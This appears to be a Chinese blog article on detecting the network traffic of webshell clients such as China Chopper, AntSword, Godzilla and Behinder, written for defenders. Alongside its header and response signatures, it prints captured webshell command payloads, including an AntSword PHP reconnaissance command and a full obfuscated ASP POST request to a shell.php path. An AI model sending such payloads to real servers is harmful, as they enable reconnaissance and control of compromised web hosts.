常见的webshell工具的流量特征

菜刀

因为菜刀有很多的版本迭代,为此,菜刀的流特征大致有如下几种

PHP流量特征

特征一:百度爬虫头

1.菜刀工具发起的请求头里面,默认的UA为百度的爬虫Baiduspider

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

常见的webshell工具的流量特征_第1张图片

特征二:采用base64加密方式

数据报中有明显的base64解密的过程,因为数据报发送的时候是以base64加密的方式进行发送的

常见的webshell工具的流量特征_第2张图片

特征三:数据报中有有eval关键字

常见的webshell工具的流量特征_第3张图片

后门连接使用的是eval的方式进行后门连接

特征四:特定的数据包前缀

每个请求中的前缀都是一样的,一定要主要这个前缀:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

解码后是下面:

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");

这种判断方式最为可靠,一般有这个前缀的数据报就可以判断这个数据报是菜刀连接后门的数据报

特征五:返回的数据报中有X@Y的字样

常见的webshell工具的流量特征_第4张图片

JSP流量特征

常见的webshell工具的流量特征_第5张图片

该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数用来加入攻击载荷.

注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的.

ASP流量特征

参考网上的文章

常见的webshell工具的流量特征_第6张图片

 body解码

常见的webshell工具的流量特征_第7张图片

其中特征点有如下三部分:

第一:“Execute”,Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数;

第二:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码.

第三:Response.Write和Response.End是必有的,是来完善整个操作的.

这种流量主要识别这几部分特征,在正常流量中基本没有.

注:OnError Resume Next这个特征在大部分流量中存在,极少数情况没有.

中国菜刀2016版本各语言WebShell链接流量特征

蚁剑

PHP流量特征

特征一:有ini_set()相关关键字

cmd=@ini_set("display_errors", "0");@set_time_limit(0);echo "5434f";try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};echo "0a5f4";die();

其中流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现

常见的webshell工具的流量特征_第8张图片

特征二:UA头特征

UA头中有AntSword关键字

常见的webshell工具的流量特征_第9张图片

特征三:参数名大多以“_0x......=”这种形式

蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x......=”这种形式(下划线可替换),所以以0x开头的参数名也很可能就是恶意流量,这个特点是网上总结的,我抓包没有发现

常见的webshell工具的流量特征_第10张图片

ASP流量特征

POST /uploadfiles/shell.php HTTP/1.1Host: 192.168.180.226Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 1248Connection: closecmd=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn%20Error%20Resume%20Next%3AFunction%20bd%28byVal%20s%29%3AFor%20i%3D1%20To%20Len%28s%29%20Step%202%3Ac%3DMid%28s%2Ci%2C2%29%3AIf%20IsNumeric%28Mid%28s%2Ci%2C1%29%29%20Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd%20If%22%22%26chr%2810%29%26%22%22Next%3AEnd%20Function%3AResponse.Write%28%22%22%22%22a6bbf%22%22%22%22%29%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On%20Error%20Resume%20Next%3A%22%22%22%22%26bd%28%22%22%22%2244696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329%22%22%22%22%29%29%3AResponse.Write%28%22%22%22%226a525%22%22%22%22%29%3AResponse.End%22%22%29%22%29

其中body流量进行URL解码后为:

cmd=eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""a6bbf""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""6a525""""):Response.End"")")

我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnError ResumeNext、Response.End、Response.Write,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex"&cHr(101)&"cute,同时该流量中也使用了eval参数,可以被认为明显特征。

哥斯拉

特征一:UA头特征

User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。

特征二:accept字段特征

Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。

常见的webshell工具的流量特征_第11张图片

特征三:cookie字段特征

Cookie中有一个非常关键的特征,最后会有个分号。

常见的webshell工具的流量特征_第12张图片

特征四:响应体特征

响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

常见的webshell工具的流量特征_第13张图片

冰蝎

特征一 :UA特征

User-Agent: Mozilla/5.0 冰蝎的ua头信息是Mozilla/5.0是一种较老的UA头信息,为此可以作为我们判断是冰蝎的一种特征信息

常见的webshell工具的流量特征_第14张图片

特征二:appect字段特征

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

特征三:accpect-language字段特征

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

常见的webshell工具的流量特征_第15张图片

写在最后

如有错误,请及时指出,感谢

你可能感兴趣的:(webshell工具,菜刀,蚁剑,冰蝎,哥斯拉)